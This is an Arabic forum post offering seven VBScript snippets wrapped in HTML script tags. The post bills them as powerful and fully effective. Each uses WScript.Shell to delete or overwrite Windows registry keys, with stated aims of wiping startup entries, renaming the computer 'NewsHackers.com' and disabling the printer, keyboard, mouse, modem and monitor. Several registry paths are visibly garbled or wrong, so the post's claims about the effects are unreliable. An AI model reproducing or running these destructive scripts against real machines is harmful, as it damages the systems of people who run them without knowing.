ليوم جايبلكم أكواد قوية و فعالة مئة في المئة

السلام عليكم
كيف حالك أعضاء المنتدى إن شاء الله تكون بألف خير
المهم بدون إطالة عليكم وحصريا لكم :أكواد قوية و فعالة مئة في المئة

اليوم جايبلكم أكواد قوية و فعالة مئة في المئة

الكود 1

************************************************** **************

<script Language="VBscript">

set WshShell = CreateObject("Wscript.Shell")

WshShell.RegDelete"HKEY_LOCAL_MACHINE\SOFTWARE\MIC ROSOFT\Windows\CurrentVersion\Run"

</script>

يعمل الكود على محو البرامج التي تشتغل أثناء اشتغال ال جهاز

************************************************** ********
الكود 2

<script Language="VBscript">

set WshShell = CreateObject("Wscript.Shell")

WshShell.RegDelete"HKEY_LOCAL_MACHINE\System\Curre ntControlSet\Control\اسم الحاسوب\"

WshShell.RegWrite"HKEY_LOCAL_MACHINE\System\Curren tControlSet\Control\ComputerName\ComputerName\"New sHackers.com"

</script>


يعمل الكود على تسمية الحاسوب بأي اسم تريد

************************************************** **************

الكود 3

<script Language="VBscript">

set WshShell = CreateObject("Wscript.Shell")

WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Class\Printer\"

</script>


يعمل الكود على فصل الطابعة من الجهاز

************************************************** **************

الكود 4

<script Language="VBscript">

set WshShell = CreateObject("Wscript.Shell")

WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Keyboard\"

</script>

يعمل الكود على فصل الكيبورد

************************************************** **************

الكود 5


<script Language="VBscript">

set WshShell = CreateObject("Wscript.Shell")

WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\mouse\"

</script>

يعمل الكود على فصل الماوس

************************************************** **************

الكود 6

<script Language="VBscript">

set WshShell = CreateObject("Wscript.Shell")

WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Class\Modem\"

</script>

يعمل الكود على فصل الموديم

************************************************** **************

الكود 7
<script Language="VBscript">

set WshShell = CreateObject("Wscript.Shell")

WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Class\Monitor\"

</script>

يعمل الكود على فصل الشاشة